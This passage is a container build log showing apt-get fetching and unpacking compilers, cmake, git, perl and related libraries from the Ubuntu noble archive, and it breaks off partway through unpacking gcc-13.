libterm-readline-gnu-perl #4 5.036 | libterm-readline-perl-perl libtap-harness-archive-perl #4 5.036 Recommended packages: #4 5.036 patch less ssh-client manpages manpages-dev libc-devtools krb5-locales #4 5.036 libldap-common publicsuffix libsasl2-modules netbase #4 5.122 The following NEW packages will be installed: #4 5.122 binutils binutils-common binutils-x86-64-linux-gnu ca-certificates cmake #4 5.122 cmake-data cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu g++ #4 5.122 g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base #4 5.122 gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu git git-man libarchive13t64 #4 5.122 libasan8 libatomic1 libbinutils libbrotli1 libc-dev-bin libc6-dev libcc1-0 #4 5.122 libcrypt-dev libctf-nobfd0 libctf0 libcurl3t64-gnutls libcurl4t64 #4 5.122 liberror-perl libexpat1 libgcc-13-dev libgdbm-compat4t64 libgdbm6t64 #4 5.122 libgomp1 libgprofng0 libgssapi-krb5-2 libhwasan0 libicu74 libisl23 libitm1 #4 5.122 libjansson4 libjsoncpp25 libk5crypto3 libkeyutils1 libkrb5-3 libkrb5support0 #4 5.122 libldap2 liblsan0 libmpc3 libmpfr6 libnghttp2-14 libperl5.38t64 libpsl5t64 #4 5.123 libquadmath0 librhash0 librtmp1 libsasl2-2 libsasl2-modules-db libsframe1 #4 5.123 libssh-4 libstdc++-13-dev libtsan2 libubsan1 libuv1t64 libxml2 #4 5.123 linux-libc-dev make openssl perl perl-modules-5.38 rpcsvc-proto #4 5.124 The following packages will be upgraded: #4 5.124 libssl3t64 perl-base #4 5.213 2 upgraded, 77 newly installed, 0 to remove and 6 not upgraded. #4 5.213 Need to get 115 MB of archives. #4 5.213 After this operation, 420 MB of additional disk space will be used. #4 5.213 Get:1 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl-base amd64 5.38.2-3.2ubuntu0.3 [1827 kB] #4 5.364 Get:2 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl-modules-5.38 all 5.38.2-3.2ubuntu0.3 [3110 kB] #4 5.444 Get:3 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm6t64 amd64 1.23-5.1build1 [34.4 kB] #4 5.445 Get:4 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm-compat4t64 amd64 1.23-5.1build1 [6710 B] #4 5.445 Get:5 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libperl5.38t64 amd64 5.38.2-3.2ubuntu0.3 [4876 kB] #4 5.571 Get:6 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl amd64 5.38.2-3.2ubuntu0.3 [231 kB] #4 5.578 Get:7 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libssl3t64 amd64 3.0.13-0ubuntu3.11 [1942 kB] #4 5.626 Get:8 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 openssl amd64 3.0.13-0ubuntu3.11 [1003 kB] #4 5.657 Get:9 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 ca-certificates all 20260601~24.04.1 [139 kB] #4 5.658 Get:10 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1 amd64 2.6.1-2ubuntu0.4 [88.2 kB] #4 5.659 Get:11 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libkrb5support0 amd64 1.20.1-6ubuntu2.6 [34.4 kB] #4 5.660 Get:12 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libk5crypto3 amd64 1.20.1-6ubuntu2.6 [82.0 kB] #4 5.661 Get:13 http://archive.ubuntu.com/ubuntu noble/main amd64 libkeyutils1 amd64 1.6.3-3build1 [9490 B] #4 5.663 Get:14 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libkrb5-3 amd64 1.20.1-6ubuntu2.6 [348 kB] #4 5.675 Get:15 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgssapi-krb5-2 amd64 1.20.1-6ubuntu2.6 [143 kB] #4 5.677 Get:16 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libicu74 amd64 74.2-1ubuntu3.1 [10.9 MB] #4 5.959 Get:17 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libxml2 amd64 2.9.14+dfsg-1.3ubuntu3.8 [764 kB] #4 5.977 Get:18 http://archive.ubuntu.com/ubuntu noble/main amd64 libjansson4 amd64 2.14-2build2 [32.8 kB] #4 5.978 Get:19 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libnghttp2-14 amd64 1.59.0-1ubuntu0.3 [74.4 kB] #4 5.979 Get:20 http://archive.ubuntu.com/ubuntu noble/main amd64 libpsl5t64 amd64 0.21.2-1.1build1 [57.1 kB] #4 5.983 Get:21 http://archive.ubuntu.com/ubuntu noble/main amd64 libuv1t64 amd64 1.48.0-1.1build1 [97.3 kB] #4 5.984 Get:22 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-common amd64 2.42-4ubuntu2.10 [240 kB] #4 5.993 Get:23 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsframe1 amd64 2.42-4ubuntu2.10 [15.7 kB] #4 5.994 Get:24 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbinutils amd64 2.42-4ubuntu2.10 [577 kB] #4 6.004 Get:25 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf-nobfd0 amd64 2.42-4ubuntu2.10 [98.0 kB] #4 6.006 Get:26 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf0 amd64 2.42-4ubuntu2.10 [94.5 kB] #4 6.015 Get:27 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgprofng0 amd64 2.42-4ubuntu2.10 [849 kB] #4 6.038 Get:28 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-x86-64-linux-gnu amd64 2.42-4ubuntu2.10 [2463 kB] #4 6.102 Get:29 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils amd64 2.42-4ubuntu2.10 [18.2 kB] #4 6.102 Get:30 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libarchive13t64 amd64 3.7.2-2ubuntu0.7 [382 kB] #4 6.114 Get:31 http://archive.ubuntu.com/ubuntu noble/main amd64 libbrotli1 amd64 1.1.0-2build2 [331 kB] #4 6.124 Get:32 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules-db amd64 2.1.28+dfsg1-5ubuntu3.1 [20.4 kB] #4 6.124 Get:33 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-2 amd64 2.1.28+dfsg1-5ubuntu3.1 [53.2 kB] #4 6.124 Get:34 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap2 amd64 2.6.10+dfsg-0ubuntu0.24.04.1 [198 kB] #4 6.129 Get:35 http://archive.ubuntu.com/ubuntu noble/main amd64 librtmp1 amd64 2.4+20151223.gitfa8646d.1-2build7 [56.3 kB] #4 6.132 Get:36 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libssh-4 amd64 0.10.6-2ubuntu0.4 [190 kB] #4 6.139 Get:37 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libcurl4t64 amd64 8.5.0-2ubuntu10.10 [343 kB] #4 6.151 Get:38 http://archive.ubuntu.com/ubuntu noble/main amd64 libjsoncpp25 amd64 1.9.5-6build1 [82.8 kB] #4 6.152 Get:39 http://archive.ubuntu.com/ubuntu noble/main amd64 librhash0 amd64 1.4.3-3build1 [129 kB] #4 6.160 Get:40 http://archive.ubuntu.com/ubuntu noble/main amd64 cmake-data all 3.28.3-1build7 [2155 kB] #4 6.217 Get:41 http://archive.ubuntu.com/ubuntu noble/main amd64 cmake amd64 3.28.3-1build7 [11.2 MB] #4 6.528 Get:42 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-base amd64 13.3.0-6ubuntu2~24.04.1 [51.6 kB] #4 6.529 Get:43 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libisl23 amd64 0.26-3build1.1 [680 kB] #4 6.546 Get:44 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpfr6 amd64 4.2.1-1build1.1 [353 kB] #4 6.550 Get:45 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpc3 amd64 1.3.1-1build1.1 [54.6 kB] #4 6.555 Get:46 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [10.7 MB] #4 6.838 Get:47 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13 amd64 13.3.0-6ubuntu2~24.04.1 [1042 B] #4 6.838 Get:48 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [5326 B] #4 6.838 Get:49 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp amd64 4:13.2.0-7ubuntu1 [22.4 kB] #4 6.839 Get:50 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libcc1-0 amd64 14.2.0-4ubuntu2~24.04.1 [48.0 kB] #4 6.839 Get:51 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgomp1 amd64 14.2.0-4ubuntu2~24.04.1 [148 kB] #4 6.841 Get:52 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libitm1 amd64 14.2.0-4ubuntu2~24.04.1 [29.7 kB] #4 6.844 Get:53 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libatomic1 amd64 14.2.0-4ubuntu2~24.04.1 [10.5 kB] #4 6.844 Get:54 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libasan8 amd64 14.2.0-4ubuntu2~24.04.1 [3027 kB] #4 6.928 Get:55 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 liblsan0 amd64 14.2.0-4ubuntu2~24.04.1 [1322 kB] #4 6.967 Get:56 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtsan2 amd64 14.2.0-4ubuntu2~24.04.1 [2772 kB] #4 7.040 Get:57 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libubsan1 amd64 14.2.0-4ubuntu2~24.04.1 [1184 kB] #4 7.070 Get:58 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libhwasan0 amd64 14.2.0-4ubuntu2~24.04.1 [1641 kB] #4 7.117 Get:59 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libquadmath0 amd64 14.2.0-4ubuntu2~24.04.1 [153 kB] #4 7.121 Get:60 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgcc-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2681 kB] #4 7.195 Get:61 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [21.1 MB] #4 7.789 Get:62 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13 amd64 13.3.0-6ubuntu2~24.04.1 [494 kB] #4 7.797 Get:63 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [1212 B] #4 7.797 Get:64 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc amd64 4:13.2.0-7ubuntu1 [5018 B] #4 7.798 Get:65 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-dev-bin amd64 2.39-0ubuntu8.7 [20.4 kB] #4 7.800 Get:66 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 linux-libc-dev amd64 6.8.0-134.134 [1464 kB] #4 7.840 Get:67 http://archive.ubuntu.com/ubuntu noble/main amd64 libcrypt-dev amd64 1:4.4.36-4build1 [112 kB] #4 7.843 Get:68 http://archive.ubuntu.com/ubuntu noble/main amd64 rpcsvc-proto amd64 1.4.2-0ubuntu7 [67.4 kB] #4 7.847 Get:69 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc6-dev amd64 2.39-0ubuntu8.7 [2124 kB] #4 7.906 Get:70 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libstdc++-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2420 kB] #4 7.971 Get:71 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [12.2 MB] #4 8.293 Get:72 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13 amd64 13.3.0-6ubuntu2~24.04.1 [16.0 kB] #4 8.293 Get:73 http://archive.ubuntu.com/ubuntu noble/main amd64 g++-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [964 B] #4 8.293 Get:74 http://archive.ubuntu.com/ubuntu noble/main amd64 g++ amd64 4:13.2.0-7ubuntu1 [1100 B] #4 8.293 Get:75 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libcurl3t64-gnutls amd64 8.5.0-2ubuntu10.10 [335 kB] #4 8.300 Get:76 http://archive.ubuntu.com/ubuntu noble/main amd64 liberror-perl all 0.17029-2 [25.6 kB] #4 8.301 Get:77 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 git-man all 1:2.43.0-1ubuntu7.3 [1100 kB] #4 8.330 Get:78 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 git amd64 1:2.43.0-1ubuntu7.3 [3680 kB] #4 8.425 Get:79 http://archive.ubuntu.com/ubuntu noble/main amd64 make amd64 4.3-4.1build2 [180 kB] #4 8.614 debconf: delaying package configuration, since apt-utils is not installed #4 8.650 Fetched 115 MB in 3s (35.0 MB/s) #4 8.724 (Reading database ... (Reading database ... 5%(Reading database ... 10%(Reading database ... 15%(Reading database ... 20%(Reading database ... 25%(Reading database ... 30%(Reading database ... 35%(Reading database ... 40%(Reading database ... 45%(Reading database ... 50%(Reading database ... 55%(Reading database ... 60%(Reading database ... 65%(Reading database ... 70%(Reading database ... 75%(Reading database ... 80%(Reading database ... 85%(Reading database ... 90%(Reading database ... 95%(Reading database ... 100%(Reading database ... 4381 files and directories currently installed.) #4 8.742 Preparing to unpack .../perl-base_5.38.2-3.2ubuntu0.3_amd64.deb ... #4 8.802 Unpacking perl-base (5.38.2-3.2ubuntu0.3) over (5.38.2-3.2ubuntu0.2) ... #4 14.04 Setting up perl-base (5.38.2-3.2ubuntu0.3) ... #4 14.15 Selecting previously unselected package perl-modules-5.38. #4 14.15 (Reading database ... (Reading database ... 5%(Reading database ... 10%(Reading database ... 15%(Reading database ... 20%(Reading database ... 25%(Reading database ... 30%(Reading database ... 35%(Reading database ... 40%(Reading database ... 45%(Reading database ... 50%(Reading database ... 55%(Reading database ... 60%(Reading database ... 65%(Reading database ... 70%(Reading database ... 75%(Reading database ... 80%(Reading database ... 85%(Reading database ... 90%(Reading database ... 95%(Reading database ... 100%(Reading database ... 4381 files and directories currently installed.) #4 14.15 Preparing to unpack .../0-perl-modules-5.38_5.38.2-3.2ubuntu0.3_all.deb ... #4 14.17 Unpacking perl-modules-5.38 (5.38.2-3.2ubuntu0.3) ... #4 14.52 Selecting previously unselected package libgdbm6t64:amd64. #4 14.52 Preparing to unpack .../1-libgdbm6t64_1.23-5.1build1_amd64.deb ... #4 14.55 Unpacking libgdbm6t64:amd64 (1.23-5.1build1) ... #4 14.66 Selecting previously unselected package libgdbm-compat4t64:amd64. #4 14.66 Preparing to unpack .../2-libgdbm-compat4t64_1.23-5.1build1_amd64.deb ... #4 14.67 Unpacking libgdbm-compat4t64:amd64 (1.23-5.1build1) ... #4 14.78 Selecting previously unselected package libperl5.38t64:amd64. #4 14.78 Preparing to unpack .../3-libperl5.38t64_5.38.2-3.2ubuntu0.3_amd64.deb ... #4 14.80 Unpacking libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.3) ... #4 15.11 Selecting previously unselected package perl. #4 15.11 Preparing to unpack .../4-perl_5.38.2-3.2ubuntu0.3_amd64.deb ... #4 15.13 Unpacking perl (5.38.2-3.2ubuntu0.3) ... #4 15.24 Preparing to unpack .../5-libssl3t64_3.0.13-0ubuntu3.11_amd64.deb ... #4 15.29 Unpacking libssl3t64:amd64 (3.0.13-0ubuntu3.11) over (3.0.13-0ubuntu3.9) ... #4 15.53 Setting up libssl3t64:amd64 (3.0.13-0ubuntu3.11) ... #4 15.66 Selecting previously unselected package openssl. #4 15.66 (Reading database ... (Reading database ... 5%(Reading database ... 10%(Reading database ... 15%(Reading database ... 20%(Reading database ... 25%(Reading database ... 30%(Reading database ... 35%(Reading database ... 40%(Reading database ... 45%(Reading database ... 50%(Reading database ... 55%(Reading database ... 60%(Reading database ... 65%(Reading database ... 70%(Reading database ... 75%(Reading database ... 80%(Reading database ... 85%(Reading database ... 90%(Reading database ... 95%(Reading database ... 100%(Reading database ... 6393 files and directories currently installed.) #4 15.66 Preparing to unpack .../00-openssl_3.0.13-0ubuntu3.11_amd64.deb ... #4 15.67 Unpacking openssl (3.0.13-0ubuntu3.11) ... #4 15.82 Selecting previously unselected package ca-certificates. #4 15.82 Preparing to unpack .../01-ca-certificates_20260601~24.04.1_all.deb ... #4 15.83 Unpacking ca-certificates (20260601~24.04.1) ... #4 15.99 Selecting previously unselected package libexpat1:amd64. #4 15.99 Preparing to unpack .../02-libexpat1_2.6.1-2ubuntu0.4_amd64.deb ... #4 16.01 Unpacking libexpat1:amd64 (2.6.1-2ubuntu0.4) ... #4 16.12 Selecting previously unselected package libkrb5support0:amd64. #4 16.12 Preparing to unpack .../03-libkrb5support0_1.20.1-6ubuntu2.6_amd64.deb ... #4 16.14 Unpacking libkrb5support0:amd64 (1.20.1-6ubuntu2.6) ... #4 16.24 Selecting previously unselected package libk5crypto3:amd64. #4 16.24 Preparing to unpack .../04-libk5crypto3_1.20.1-6ubuntu2.6_amd64.deb ... #4 16.26 Unpacking libk5crypto3:amd64 (1.20.1-6ubuntu2.6) ... #4 16.37 Selecting previously unselected package libkeyutils1:amd64. #4 16.37 Preparing to unpack .../05-libkeyutils1_1.6.3-3build1_amd64.deb ... #4 16.38 Unpacking libkeyutils1:amd64 (1.6.3-3build1) ... #4 16.50 Selecting previously unselected package libkrb5-3:amd64. #4 16.50 Preparing to unpack .../06-libkrb5-3_1.20.1-6ubuntu2.6_amd64.deb ... #4 16.51 Unpacking libkrb5-3:amd64 (1.20.1-6ubuntu2.6) ... #4 16.64 Selecting previously unselected package libgssapi-krb5-2:amd64. #4 16.64 Preparing to unpack .../07-libgssapi-krb5-2_1.20.1-6ubuntu2.6_amd64.deb ... #4 16.65 Unpacking libgssapi-krb5-2:amd64 (1.20.1-6ubuntu2.6) ... #4 16.75 Selecting previously unselected package libicu74:amd64. #4 16.75 Preparing to unpack .../08-libicu74_74.2-1ubuntu3.1_amd64.deb ... #4 16.77 Unpacking libicu74:amd64 (74.2-1ubuntu3.1) ... #4 17.08 Selecting previously unselected package libxml2:amd64. #4 17.08 Preparing to unpack .../09-libxml2_2.9.14+dfsg-1.3ubuntu3.8_amd64.deb ... #4 17.10 Unpacking libxml2:amd64 (2.9.14+dfsg-1.3ubuntu3.8) ... #4 17.22 Selecting previously unselected package libjansson4:amd64. #4 17.22 Preparing to unpack .../10-libjansson4_2.14-2build2_amd64.deb ... #4 17.23 Unpacking libjansson4:amd64 (2.14-2build2) ... #4 17.34 Selecting previously unselected package libnghttp2-14:amd64. #4 17.34 Preparing to unpack .../11-libnghttp2-14_1.59.0-1ubuntu0.3_amd64.deb ... #4 17.36 Unpacking libnghttp2-14:amd64 (1.59.0-1ubuntu0.3) ... #4 17.46 Selecting previously unselected package libpsl5t64:amd64. #4 17.46 Preparing to unpack .../12-libpsl5t64_0.21.2-1.1build1_amd64.deb ... #4 17.48 Unpacking libpsl5t64:amd64 (0.21.2-1.1build1) ... #4 17.58 Selecting previously unselected package libuv1t64:amd64. #4 17.58 Preparing to unpack .../13-libuv1t64_1.48.0-1.1build1_amd64.deb ... #4 17.59 Unpacking libuv1t64:amd64 (1.48.0-1.1build1) ... #4 17.68 Selecting previously unselected package binutils-common:amd64. #4 17.68 Preparing to unpack .../14-binutils-common_2.42-4ubuntu2.10_amd64.deb ... #4 17.70 Unpacking binutils-common:amd64 (2.42-4ubuntu2.10) ... #4 17.81 Selecting previously unselected package libsframe1:amd64. #4 17.81 Preparing to unpack .../15-libsframe1_2.42-4ubuntu2.10_amd64.deb ... #4 17.83 Unpacking libsframe1:amd64 (2.42-4ubuntu2.10) ... #4 17.92 Selecting previously unselected package libbinutils:amd64. #4 17.92 Preparing to unpack .../16-libbinutils_2.42-4ubuntu2.10_amd64.deb ... #4 17.94 Unpacking libbinutils:amd64 (2.42-4ubuntu2.10) ... #4 18.04 Selecting previously unselected package libctf-nobfd0:amd64. #4 18.04 Preparing to unpack .../17-libctf-nobfd0_2.42-4ubuntu2.10_amd64.deb ... #4 18.06 Unpacking libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ... #4 18.16 Selecting previously unselected package libctf0:amd64. #4 18.16 Preparing to unpack .../18-libctf0_2.42-4ubuntu2.10_amd64.deb ... #4 18.18 Unpacking libctf0:amd64 (2.42-4ubuntu2.10) ... #4 18.28 Selecting previously unselected package libgprofng0:amd64. #4 18.28 Preparing to unpack .../19-libgprofng0_2.42-4ubuntu2.10_amd64.deb ... #4 18.30 Unpacking libgprofng0:amd64 (2.42-4ubuntu2.10) ... #4 18.39 Selecting previously unselected package binutils-x86-64-linux-gnu. #4 18.40 Preparing to unpack .../20-binutils-x86-64-linux-gnu_2.42-4ubuntu2.10_amd64.deb ... #4 18.41 Unpacking binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ... #4 18.56 Selecting previously unselected package binutils. #4 18.56 Preparing to unpack .../21-binutils_2.42-4ubuntu2.10_amd64.deb ... #4 18.58 Unpacking binutils (2.42-4ubuntu2.10) ... #4 18.68 Selecting previously unselected package libarchive13t64:amd64. #4 18.68 Preparing to unpack .../22-libarchive13t64_3.7.2-2ubuntu0.7_amd64.deb ... #4 18.70 Unpacking libarchive13t64:amd64 (3.7.2-2ubuntu0.7) ... #4 18.80 Selecting previously unselected package libbrotli1:amd64. #4 18.80 Preparing to unpack .../23-libbrotli1_1.1.0-2build2_amd64.deb ... #4 18.82 Unpacking libbrotli1:amd64 (1.1.0-2build2) ... #4 18.90 Selecting previously unselected package libsasl2-modules-db:amd64. #4 18.90 Preparing to unpack .../24-libsasl2-modules-db_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ... #4 18.91 Unpacking libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... #4 19.01 Selecting previously unselected package libsasl2-2:amd64. #4 19.01 Preparing to unpack .../25-libsasl2-2_2.1.28+dfsg1-5ubuntu3.1_amd64.deb ... #4 19.03 Unpacking libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ... #4 19.13 Selecting previously unselected package libldap2:amd64. #4 19.13 Preparing to unpack .../26-libldap2_2.6.10+dfsg-0ubuntu0.24.04.1_amd64.deb ... #4 19.14 Unpacking libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ... #4 19.25 Selecting previously unselected package librtmp1:amd64. #4 19.25 Preparing to unpack .../27-librtmp1_2.4+20151223.gitfa8646d.1-2build7_amd64.deb ... #4 19.26 Unpacking librtmp1:amd64 (2.4+20151223.gitfa8646d.1-2build7) ... #4 19.36 Selecting previously unselected package libssh-4:amd64. #4 19.37 Preparing to unpack .../28-libssh-4_0.10.6-2ubuntu0.4_amd64.deb ... #4 19.38 Unpacking libssh-4:amd64 (0.10.6-2ubuntu0.4) ... #4 19.48 Selecting previously unselected package libcurl4t64:amd64. #4 19.48 Preparing to unpack .../29-libcurl4t64_8.5.0-2ubuntu10.10_amd64.deb ... #4 19.50 Unpacking libcurl4t64:amd64 (8.5.0-2ubuntu10.10) ... #4 19.60 Selecting previously unselected package libjsoncpp25:amd64. #4 19.60 Preparing to unpack .../30-libjsoncpp25_1.9.5-6build1_amd64.deb ... #4 19.62 Unpacking libjsoncpp25:amd64 (1.9.5-6build1) ... #4 19.72 Selecting previously unselected package librhash0:amd64. #4 19.72 Preparing to unpack .../31-librhash0_1.4.3-3build1_amd64.deb ... #4 19.73 Unpacking librhash0:amd64 (1.4.3-3build1) ... #4 19.85 Selecting previously unselected package cmake-data. #4 19.85 Preparing to unpack .../32-cmake-data_3.28.3-1build7_all.deb ... #4 19.86 Unpacking cmake-data (3.28.3-1build7) ... #4 20.40 Selecting previously unselected package cmake. #4 20.40 Preparing to unpack .../33-cmake_3.28.3-1build7_amd64.deb ... #4 20.41 Unpacking cmake (3.28.3-1build7) ... #4 20.72 Selecting previously unselected package gcc-13-base:amd64. #4 20.72 Preparing to unpack .../34-gcc-13-base_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 20.73 Unpacking gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ... #4 20.83 Selecting previously unselected package libisl23:amd64. #4 20.84 Preparing to unpack .../35-libisl23_0.26-3build1.1_amd64.deb ... #4 20.85 Unpacking libisl23:amd64 (0.26-3build1.1) ... #4 20.96 Selecting previously unselected package libmpfr6:amd64. #4 20.96 Preparing to unpack .../36-libmpfr6_4.2.1-1build1.1_amd64.deb ... #4 20.98 Unpacking libmpfr6:amd64 (4.2.1-1build1.1) ... #4 21.09 Selecting previously unselected package libmpc3:amd64. #4 21.09 Preparing to unpack .../37-libmpc3_1.3.1-1build1.1_amd64.deb ... #4 21.10 Unpacking libmpc3:amd64 (1.3.1-1build1.1) ... #4 21.19 Selecting previously unselected package cpp-13-x86-64-linux-gnu. #4 21.19 Preparing to unpack .../38-cpp-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 21.20 Unpacking cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... #4 21.46 Selecting previously unselected package cpp-13. #4 21.46 Preparing to unpack .../39-cpp-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 21.48 Unpacking cpp-13 (13.3.0-6ubuntu2~24.04.1) ... #4 21.56 Selecting previously unselected package cpp-x86-64-linux-gnu. #4 21.56 Preparing to unpack .../40-cpp-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ... #4 21.57 Unpacking cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ... #4 21.68 Selecting previously unselected package cpp. #4 21.68 Preparing to unpack .../41-cpp_4%3a13.2.0-7ubuntu1_amd64.deb ... #4 21.70 Unpacking cpp (4:13.2.0-7ubuntu1) ... #4 21.81 Selecting previously unselected package libcc1-0:amd64. #4 21.81 Preparing to unpack .../42-libcc1-0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 21.83 Unpacking libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 21.93 Selecting previously unselected package libgomp1:amd64. #4 21.93 Preparing to unpack .../43-libgomp1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 21.95 Unpacking libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.05 Selecting previously unselected package libitm1:amd64. #4 22.05 Preparing to unpack .../44-libitm1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.07 Unpacking libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.17 Selecting previously unselected package libatomic1:amd64. #4 22.17 Preparing to unpack .../45-libatomic1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.19 Unpacking libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.29 Selecting previously unselected package libasan8:amd64. #4 22.29 Preparing to unpack .../46-libasan8_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.31 Unpacking libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.46 Selecting previously unselected package liblsan0:amd64. #4 22.46 Preparing to unpack .../47-liblsan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.48 Unpacking liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.61 Selecting previously unselected package libtsan2:amd64. #4 22.61 Preparing to unpack .../48-libtsan2_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.62 Unpacking libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.77 Selecting previously unselected package libubsan1:amd64. #4 22.77 Preparing to unpack .../49-libubsan1_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.79 Unpacking libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 22.91 Selecting previously unselected package libhwasan0:amd64. #4 22.92 Preparing to unpack .../50-libhwasan0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 22.93 Unpacking libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 23.07 Selecting previously unselected package libquadmath0:amd64. #4 23.07 Preparing to unpack .../51-libquadmath0_14.2.0-4ubuntu2~24.04.1_amd64.deb ... #4 23.09 Unpacking libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ... #4 23.17 Selecting previously unselected package libgcc-13-dev:amd64. #4 23.17 Preparing to unpack .../52-libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 23.19 Unpacking libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ... #4 23.37 Selecting previously unselected package gcc-13-x86-64-linux-gnu. #4 23.37 Preparing to unpack .../53-gcc-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 23.38 Unpacking gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ... #4 23.78 Selecting previously unselected package gcc-13. #4 23.78 Preparing to unpack .../54-gcc-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ... #4 23.80 Unpacking gcc-13 